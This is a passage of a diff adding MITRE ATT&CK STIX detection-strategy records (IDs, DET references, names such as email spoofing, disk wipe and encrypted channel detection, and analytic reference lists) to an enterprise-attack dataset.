"3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1221d0cb-6404-4fe7-837e-6057a96e7acb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0424", + "external_id": "DET0424" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Disable or Modify Cloud Firewall", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ee7c904b-144f-4dc4-87af-7eee4655899c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f0190654-2eda-42a7-9a4d-6edc95aada02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0289", + "external_id": "DET0289" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Disable or Modify Cloud Logs", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a788e3ed-8faf-4443-bb26-fd530ca930d1", + "x-mitre-analytic--8e0f5333-9fc0-4f03-ae12-cf98903e08ea", + "x-mitre-analytic--e42656e7-6a0e-492e-82b6-90d0d5667993", + "x-mitre-analytic--967f7636-1547-4db7-921a-1b84f312a2cd" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1d769567-7e82-47f4-8dc8-5a503f524134", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0062", + "external_id": "DET0062" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Disable or Modify Linux Audit System", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3e9734aa-b9b4-4716-927c-27c2c2aa972e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3a016ed2-47e0-414b-b90e-a44d1437354e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0316", + "external_id": "DET0316" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Disk Content Wipe via Direct Access and Overwrite", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d1ad1b0b-0050-4737-8993-73c2da8d143b", + "x-mitre-analytic--b55c84a0-d045-43f6-a5a9-e8f6edbd275e", + "x-mitre-analytic--1065ad69-8969-4ae0-9df6-dc7e7b1129c2", + "x-mitre-analytic--d0e64036-83fb-4ff7-b81b-9b67b6c6b9dc" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1dd8a02b-b447-48ed-a146-ad955c9b2dc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0297", + "external_id": "DET0297" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Disk Structure Wipe via Boot/Partition Overwrite", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--34560ac3-2e05-4394-8145-0cd6071c1680", + "x-mitre-analytic--538707d4-df45-489b-97f5-0115802a701f", + "x-mitre-analytic--575a9c01-6dac-4513-86ca-e80b6e485212", + "x-mitre-analytic--d970c6c7-82d0-4977-9e2e-4b27af383ca5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--da01afef-b769-4d31-964d-901fabaf6a8f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0137", + "external_id": "DET0137" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Disk Wipe via Direct Disk Access and Destructive Commands", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5dc85538-115c-4c56-878a-39caaba91e74", + "x-mitre-analytic--d442d480-cfb9-43cc-b959-2f81513b432d", + "x-mitre-analytic--2016853a-07eb-4df4-a471-69b55f82b34d", + "x-mitre-analytic--8faa753d-ec3f-4694-9a33-03ce4ccb722f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--92ce4302-72cb-4b7b-9184-1fc14900d0e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0366", + "external_id": "DET0366" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Double File Extension Masquerading", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6eab694d-ea06-4487-99c4-0e21279530e8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--524a2282-e312-4707-82d1-2c34f015c85c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0569", + "external_id": "DET0569" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Downgrade System Image on Network Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--370daadc-e640-4487-8ba0-c897f46459bc" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--063eac3f-9c2a-429a-ad7c-ae7f49158bb2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0091", + "external_id": "DET0091" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Dynamic API Resolution via Hash-Based Function Lookups", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--48a818ac-077b-46ff-b615-bb2958536aef" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--98d6523f-54c5-4a24-a758-333caa833967", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0039", + "external_id": "DET0039" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Dynamic Resolution across OS Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7cf1b4ad-95e8-4bf0-8b2f-fc3c14938656", + "x-mitre-analytic--00112bcc-174f-4201-ac81-fe3edd1292e6", + "x-mitre-analytic--5e225927-bf50-4261-b1ae-d65e803da0b8", + "x-mitre-analytic--3166927d-91e4-4e08-bfec-abda2783be8c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--510a02c8-4341-40ab-8b57-bd678c411ac0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0262", + "external_id": "DET0262" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Dynamic Resolution through DNS Calculation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f47f256d-686f-4553-85e2-bd4d156da1e7", + "x-mitre-analytic--98f5c157-17c8-4ab8-943d-8d4c54dc3d6d", + "x-mitre-analytic--e95ed4e2-d6bc-4a6f-acbc-bdbfcbaca158", + "x-mitre-analytic--18c20664-b820-4a14-a7bf-5a75ac2fae92" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--263a0357-5f6d-4066-bfda-afeb883e51d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0419", + "external_id": "DET0419" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Dynamic Resolution using Domain Generation Algorithms.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ee7499f8-4262-47cf-8fff-5344f60bf2cf", + "x-mitre-analytic--0faa41a3-0d4c-42d1-885a-12436fbee9c1", + "x-mitre-analytic--63de336c-105c-4e8f-aefc-420a3eac32e9", + "x-mitre-analytic--5a652a8f-a8e1-4010-bc2b-2ffaa2838333" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4556646a-39df-48bf-9df3-623d4da7a859", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0485", + "external_id": "DET0485" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Dynamic Resolution using Fast Flux DNS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7e6e9c0e-737e-43ac-8cdd-5edbff4d6424", + "x-mitre-analytic--8a226737-e2a7-4b70-8964-98c47444a638", + "x-mitre-analytic--22d28e80-ecae-4fa4-8901-ef9125c99e9f", + "x-mitre-analytic--f9534b4a-57ef-40a0-801a-d56a217304f0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c1d8aa38-aefb-4ea8-8c80-2dfa05eaaecb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0232", + "external_id": "DET0232" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for ESXi Administration Command", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f25cf3cf-53b8-4fa4-be4c-d0a7a02bf739" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5307b508-28e8-44c6-9487-212ccd3ab86c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0558", + "external_id": "DET0558" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for ESXi Hypervisor CLI Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2fa4d134-8583-4cbe-bc84-bfc799205116" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9a66295a-9f47-47a8-bda4-935cd311186a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0355", + "external_id": "DET0355" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Email Bombing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1f515cf2-91a5-4bed-95a1-ed8fc8b24a87", + "x-mitre-analytic--31e4c4dc-3094-45b2-9d4d-1b0bf8311498", + "x-mitre-analytic--7e9cb99b-4040-4b73-bd70-1bd68ae0f373", + "x-mitre-analytic--d41cdfc1-2a82-4442-a1ca-177fe59b8dff" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--54aaab69-62fb-4d40-b2e0-0d07594353ed", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0192", + "external_id": "DET0192" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Email Hiding Rules", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a09ed72b-be04-475f-8c0a-11ed47b40bd1", + "x-mitre-analytic--863a9028-6b2a-46c6-b696-dd310937fbf9", + "x-mitre-analytic--487d9ddf-a790-4adc-9be4-ec5651e790f1", + "x-mitre-analytic--747a2974-0c77-4c47-9c02-2775025327c6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6dec9c28-6dcb-4470-ad69-6cdb520adb53", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0431", + "external_id": "DET0431" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Email Spoofing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c0055eb3-5579-48a8-b9d3-df6dd67bc388", + "x-mitre-analytic--38300670-8c96-4f80-bc1b-d69242023a20", + "x-mitre-analytic--0c4a2cfd-a064-4f45-9c07-eb5c1044dd61", + "x-mitre-analytic--e7a0e155-e0bc-45b5-b0ef-98ec4f5eea63" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--99294309-83fd-46f3-9925-7443c03e5b79", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0214", + "external_id": "DET0214" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Embedded Payloads", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8f84fc52-ab74-443b-b618-aa1c0941377a", + "x-mitre-analytic--db9b55b0-7e54-4625-92d5-fbe9ed8ac868", + "x-mitre-analytic--8cd6ae3d-7f14-42bf-9aff-870209fc333f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--08861418-398c-4972-8850-5e11f2d32944", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0273", + "external_id": "DET0273" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Encrypted Channel across OS Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--81233639-a08b-4a56-a5d4-ac2f9ae94a2b", + "x-mitre-analytic--f0dacfba-bcc0-43cb-bad5-0cd3fe3a7f5f", + "x-mitre-analytic--80c5c2fd-eb3a-4678-9d3b-6147a90284de", + "x-mitre-analytic--b94bb114-7532-4934-9955-9c7031109b9e", + "x-mitre-analytic--29a00bef-79bd-4eb9-bf92-01651cffe9b0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e5448ab8-39d6-4364-ae7f-0459687251f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0543", + "external_id": "DET0543" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Encrypted Channel via Asymmetric Cryptography across OS Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7e1c7338-11d5-4ab4-aefc-bbd81e26068d", + "x-mitre-analytic--284edcb8-0141-4fe6-afb2-9fd8a2b82b49", + "x-mitre-analytic--6b63caad-5d8d-4f23-be77-4e81d8904da6", + "x-mitre-analytic--0f9943f2-0e7e-44da-b7dd-e1a7cd52aae0", + "x-mitre-analytic--3e5930bf-6d79-4f75-9b9e-97cad9bf9232" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--32c549cd-a06b-41f2-8063-8937ba7feab6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0143", + "external_id": "DET0143" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Encrypted Channel via Symmetric Cryptography across OS Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--704bd588-a82b-4139-92ef-6dc6a48581c8", + "x-mitre-analytic--8c64bf26-bda2-47fc-867d-bcc6a51d57a7", + "x-mitre-analytic--531ba452-e3b8-4064-be28-31ddd13b3478", + "x-mitre-analytic--50102ced-9c8f-47e6-b438-63b2a7fe983d", + "x-mitre-analytic--94e5fd96-1fde-41fd-863d-6ef9cb8a3e1a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--28d6ebc3-3b01-45e1-b48e-6491364d23e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0304", + "external_id": "DET0304" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Endpoint DoS via Application or System Exploitation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6bb68520-c27e-435a-86b5-eb2ce7841cb2", + "x-mitre-analytic--2f4d199c-4d62-4d7d-8c6e-3ec358c22e76", + "x-mitre-analytic--e6b92e19-5bc8-414b-b200-96ed6d286388", + "x-mitre-analytic--f1aae71a-6460-4c08-9aa7-49743f766a71" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1a45b10a-c410-4212-8018-7c00bb292dab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0173", + "external_id": "DET0173" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Endpoint DoS via Service Exhaustion Flood", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8c03988c-3387-48e4-8013-7b9d223b8911", + "x-mitre-analytic--c7752951-1077-478d-9511-df852cba6b28", + "x-mitre-analytic--00bf6b2e-444a-4a83-aafd-43bc8eea4594", + "x-mitre-analytic--7dbd928f-da93-4cbf-af73-ac5987a7858a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8796c5cc-7e5a-402f-8252-f083aafc5cc9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0219", + "external_id": "DET0219" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection 